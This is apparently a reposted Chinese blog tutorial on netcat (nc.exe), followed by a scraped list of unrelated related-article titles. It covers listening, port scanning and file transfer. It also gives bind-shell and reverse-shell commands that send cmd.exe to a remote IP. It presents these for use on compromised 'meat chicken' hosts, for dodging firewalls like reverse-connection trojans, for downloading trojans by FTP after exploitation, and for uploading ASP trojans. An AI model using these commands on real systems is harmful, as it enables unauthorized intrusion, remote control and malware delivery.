瑞士军刀:nc.exe

参数说明:
-h 查看帮助信息
-d 后台模式
-e prog程序重定向,一但连接就执行[危险]
-i secs延时的间隔
-l 监听模式,用于入站连接
-L 监听模式,连接天闭后仍然继续监听,直到CTR+C
-n IP地址,不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出,用-vv将更详细
-w数字 timeout延时间隔
-z 将输入,输出关掉(用于扫锚时)

-----

命令1:监听命令
nc -l -p port
nc -l -p port > e:/log.dat
nc -l -v -p port

参数解释:
-l:监听端口,监听入站信息
-p:后跟本地端口号
-v:显示端口的信息,如果使用-vv的话,则会显示端口更详细的信息
提示:一般大家都爱用-vv
nc -l -p 80
这个很简单,监听80端口
如果机器上运行这个命令,端口80被认为是开放的,可以欺骗很多扫描器的哦!
nc -l -p 80 > e:/log.dat
功能和上边一样,但是后边加了个“> e:/log.dat”我想,学过ECHO
那个命令的人都会知道吧,是在E盘创建一个log.dat的日志文件
nc -l -v -p 80
和上边命令相似,不过这次不是记录在文件里,而是会直接显示在运行着NC
的屏幕上。
nc -l -v -p 80
然后在浏览器中输入本机IP:127.0.0.1

命令2:程序定向
nc -l -p port -t -e cmd.exe
本地机: nc -l -p port 或 nc -l -v -p port
目标机:nc -e cmd.exe ip port
参数解释:
-l、-p两个参数已经解释过了
-e;作用就是程序定向
-t:以telnet的形式来应答
例子
nc -l -p 5277 -t -e cmd.exe
知道运行在哪里吗?千万不要运行在自己的机器上,如果运行了,你机器
就会变成一台TELNET的服务器了,呵呵,解释一下:监听本地端口5277的
入站信息,同时将CMD.exe这个程序,重定向到端口5277上,当有人连接的时候,就让程序CMD.exe以TELNET的形式来响应连接要求。
说白了,其实就是让他成为一台TELNET的肉鸡,所以这个命令要运行在你的肉鸡上。。
呵呵,咱们来找台肉鸡试试,我TELNET IP 5277
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鸽子和神偷吧,这两款工具都是利用了反弹端口型的木马,
什么叫反弹端口?就是说,当对方中马后,不用你主动和对方连接,也就是说
不用从你的client端向对方主机上运行的server端发送请求连接,而是对方主动来连接你
这样就可以使很多防火墙失效,因为很多防火墙都不检查出站请求的。
这里这两个命令结合在一起后,于那两款木马可以说有异曲同工之效。为什么?
nc -l -p 5277 (坚听本地5277端口)
同样也可以用
nc -l -v -p 5277
运行在本地
然后在远程机器上,想办法运行
nc -e cmd.exe ip 5277
(你可别真的打“ip”在肉机上啊)要打,xxx.xxx.xxx.xxx这样!!
呵,看看在本地机器上出现了什么?
这样就是反弹~~在本地机器上得到了一个SHELL

命令3:扫描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
参数解释:
-z:将输入输出关掉,在扫描时使用
nc -v ip port
这个命令是针对某一个端口进行扫描
例如:
nc -v ip 135
扫描远程主机的135端口,这样获得了该端口的一些简单信息,但是针对某些端口,我们还可以获得更多的信息
例如:80端口
我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息
nc -v -z ip port-port
这个命令是用来扫描的一个命令,这个命令用于快速扫描TCP端口,而port-port则是指定了扫描的端口范围
例如:
nc -v -z ip 1-200
可以看到我机器上的1-200的TCP端口的开放情况
nc -v -z -u ip port-port
这个命令比上个命令多了个-u,这个命令的作用仍然是扫描端口,只是多了一个-u的参数,是用来扫UDP端口的
例如:
nc -v -z -u ip 1-200
这个命令就会扫1-200的UDP端口

命令4:传送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:/svr.exe
REMOTE MACHINE:nc -v -l -p port > y:/svr.exe
参数解释:
-n:指定数字的IP地址
这两个命令结合起来是用来传送文件的
首先,在远程机上运行命令:
nc -v -l -p 5277 > c:/pulist.exe
这个命令还记的吗?呵呵,是不是和监听命令有点类似,对,没错,这个是监听5277端口
并把接受到的信息数据写到c:/pulist.exe中
这时候在本地机上运行
nc -v -n ip 5277 < e:/hack/pulist.exe
这个命令的意思就是,从本地E盘跟目录中读取pulist.exe文件的内容,并把这些数据发送到ip的5277端口上
这样远程主机就会自动创建一个pulist.exe文件

--------

先看一些简单的用法:

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口

高级用法:

nc -L -p 3389 做蜜罐,不停地监听3389端口

nc -L -p 3389>c:\log.txt 做蜜罐,不停地监听3389端口,同时把结果输出到c:\log.txt

nc -L -p 3389<c:\ftp.txt 不停地监听3389端口,并把c:\ftp.txt中内容发给连接本端口的主

机,可起到传送文件作用.(此用法经常用于反向溢出)

nc -l -p 2008 -t -e cmd.exe 绑定主机的cmd到2008端口,并以TELNET方式应答。

nc -t -e cmd.exe 192.168.0.2 555 绑定cmd反向连接192.168.0.2的555端口以TELNET方式应答。

组合用法:

1.溢出用:

nc -L -p 8989<c:\ftp.txt (ftp.txt中为FTP自动下载命令)

效果:一但溢出的主机连接8989端口就会自动用FTP下载指定的文件,如木马.(此法经常用于批量溢出)

2.返回CMD SHELL用:

正向连接:

在远程主机上运行 nc -l -p 2008 -t -e cmd.exe

本机运行 nc -nvv 192.168.0.1 2008

连接成功就会返回一个CMD shell。(类似TELNET)

反向连接:

先在本机运行 nc -l -p 2008

在远程主机上运行 nc -t -e cmd.exe 192.168.0.2 2008

连接成功就会得到一个CMD shell。(类似TELNET)

3.上传文本

本机运行 nc -vv www.baidu.com 80<1.txt (此法经常用于上传ASP木马)

本机运行 nc -nvv 192.168.0.1 80<1.txt (向192.168.0.1发送1.txt中的内容)

有时间会录下视频发布

转载于:https://www.cnblogs.com/zoushou/p/4125090.html

2_NC(瑞士军刀)相关推荐

  1. JetBrains发布DataGrip 1.0——数据库与SQL领域中的瑞士军刀

    近日,来自捷克的软件公司JetBrains发布了全新的重量级产品DataGrip 1.0--号称数据库与SQL领域中的瑞士军刀.DataGrip的前身0xDBE已经发布一年多的时间了,这也是JetBr ...

  2. 用于小型图形挖掘研究的瑞士军刀:空手道俱乐部的图表学习Python库

    作者 | Benedek Rozemberczki 译者 | 天道酬勤 责编 | Carol 出品 | AI科技大本营(ID:rgznai100) 空手道俱乐部(Karate Club)是Networ ...

  3. 瑞士军刀——Pandoc

    五)瑞士军刀--Pandoc 之所以把Pandoc单列,是因为它支持的格式简直太多了,尤其是Latex与MS Word(必须是docx格式)之间的转化,另外还有上面提到的rtf,html,odt,ma ...

  4. Unix调试的瑞士军刀:lsof

    这是"你应该知道的Unix和Linux命令"系列的第三篇,在这篇文章中,我会介绍lsof这个工具,如果说netcat是进行网络诊断的瑞士军刀,那么lsof就是Unix调试的瑞士军刀 ...

  5. 协议森林06 瑞士军刀 (ICMP协议)

    作者:Vamei 出处:http://www.cnblogs.com/vamei 严禁任何形式转载. 到现在为止,我们讲解了网络层中最重要的IP协议(参考协议森林).IP协议的一个重要补充是是ICMP ...

  6. 【中国超算迎来最强对手】 IBM推出机器学习加速“瑞士军刀”Power9芯片,性能为同类产品的10倍...

    12月6日,据外媒报道,IBM最新一代的Power芯片Power9正在进入市场,以应对越来越强劲的人工智能.机器学习领域高强度.高密度的信息处理需求. TechCrunch报道称,IBM打算向第三方制 ...

  7. jodd忽略ssl证书_Jodd - Java界的瑞士军刀,无法想象的轻量级工具包

    Jodd介绍 Jodd是对于Java开发更便捷的开源迷你框架,包含工具类.实用功能的集合,总包体积不到1.7M. Jodd构建于通用场景使开发变得简单,但Jodd并不简单!它能让你把事情做得更好,实现 ...

  8. 网络工具中的瑞士军刀——netcat工具简介

    今天给大家带来netcat这款工具的简单介绍.netcat有着"网络工具中的瑞士军刀"的绰号.它体积小巧,功能却又十分强大.下面的内容包括,man手册翻译.常用参数介绍及例子. 一 ...

  9. 微信小程序:一把瑞士军刀

    2019独角兽企业重金招聘Python工程师标准>>> 2016年1月9日,距离乔布斯发布首款IPHONE后刚好第10个年头,国内互联网搞了个大新闻:微信小程序上线了!有人说APP终 ...

最新文章

  1. JAVA调用R语言之Rserve
  2. 汇编中Enter和Leave指令
  3. opengl嵌入pyqt5编译的分割窗口中
  4. 红旗Linux软件开发技术,中科红旗闷声研发下一代红旗Linux 11操作系统
  5. 软件需求分析文档模版
  6. android 取色器_老板夸我PPT配色高级,以为我学过设计,其实我都是从Logo取色
  7. 如何从Dart中的列表中找到最小值和最大值?
  8. 面向dba的linux shell 脚本简介,面向 DBA 的 Linux Shell 脚本简介
  9. Flink 靠什么征服饿了么工程师?
  10. 程序给UI美术上的必修课:内存占用, DrawCall和包大小的处理
  11. Linq to Sql 动态条件另类实现方法
  12. ios设计登录功能_亲爱的产品设计师,这是iOS 14的新功能
  13. GCC和TCC编译TCC
  14. 拿什么拯救我,我的爱人
  15. 网页采集时,常用的几种正则表达式
  16. python之Character string
  17. php文件开头加数据,在PHP中附加到文件的开头
  18. dcdc升压计算器excel_DC-DC升降压芯片(MC34063A/33063)典型电路与元件参数在线计算_三贝计算网_23bei.com...
  19. Flutter使用阿里矢量图库管理项目svg图片
  20. java实现解压zip文件,(亲测可用)!!!!!!

热门文章

  1. linux快速入门 快捷高效学习方法
  2. Flutter第一部分(UI)第五篇:为Widget添加交互
  3. 每日新闻:科学家称人工智能可以迅速发展自己的偏见;工信部:贯彻落实企业上云政策...
  4. linux 那些事儿系列
  5. 【转载】Linux那些事儿系列
  6. 虚拟电厂可视化大屏,深挖痛点精准减碳
  7. 苹果pencil值得买吗?苹果平板电容笔推荐
  8. 2022河海大学物联网工程学院电子信息(计算机与软件方向)890上岸经验帖(毕业2年后,双非三跨211成功)
  9. 整理几个重要的Android知识,赶快收藏备战金九银十!
  10. 彩色图像去马赛克与图像超分辨问题的关系